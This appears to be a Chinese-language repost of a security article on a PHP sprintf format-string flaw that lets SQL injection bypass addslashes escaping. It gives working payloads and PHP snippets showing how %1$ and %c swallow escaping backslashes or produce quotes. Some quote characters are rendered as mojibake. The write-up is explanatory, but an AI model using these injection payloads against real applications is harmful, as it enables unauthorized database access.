1. 程式人生 > >sprintf格式化字符串帶來的註入隱患

sprintf格式化字符串帶來的註入隱患

res .html 知識 spa admin ash 格式 name lec

原文鏈接:https://paper.seebug.org/386/

摘要點關鍵知識點

<?php

$input = addslashes("%1$‘ and 1=1#");
$b = sprintf("AND b=‘%s‘", $input);
...
$sql = sprintf("SELECT * FROM t WHERE a=‘%s‘ $b", ‘admin‘);
echo $sql;

通過fuzz得知,在php的格式化字符串中,%後的一個字符(除了‘%‘)會被當作字符類型,而被吃掉,單引號,斜杠\也不例外。

如果能提前將%‘ and 1=1#拼接入sql語句,若存在SQLi過濾,單引號會被轉義成\‘

select * from user where username = ‘%\‘ and 1=1#‘;

然後這句sql語句如果繼續進入格式化字符串,\會被%吃掉,成功逃逸

<?php
$sql = "select * from user where username = ‘%\‘ and 1=1#‘;";
$args = "admin";
echo sprintf( $sql, $args ) ;
//result: select * from user where username = ‘‘ and 1=1#‘
?>

還可以使用%1$吃掉後面的斜杠,而不引起報錯

<?php
$sql = "select * from user where username = ‘%1$\‘ and 1=1#‘ and password=‘%s‘;"; $args = "admin"; echo sprintf( $sql, $args) ; //result: select * from user where username = ‘‘ and 1=1#‘ and password=‘admin‘; ?>

國外安全研究人員Anthony Ferrara給出了另一種此漏洞的利用方式

<?php

$input1 = ‘%1$c) OR 1 = 1 /*‘;
$input2
= 39; $sql = "SELECT * FROM foo WHERE bar IN (‘$input1‘) AND baz = %s"; $sql = sprintf($sql, $input2); echo $sql;

%c起到了類似chr()的效果,將數字39轉化為,從而導致了sql註入。

sprintf格式化字符串帶來的註入隱患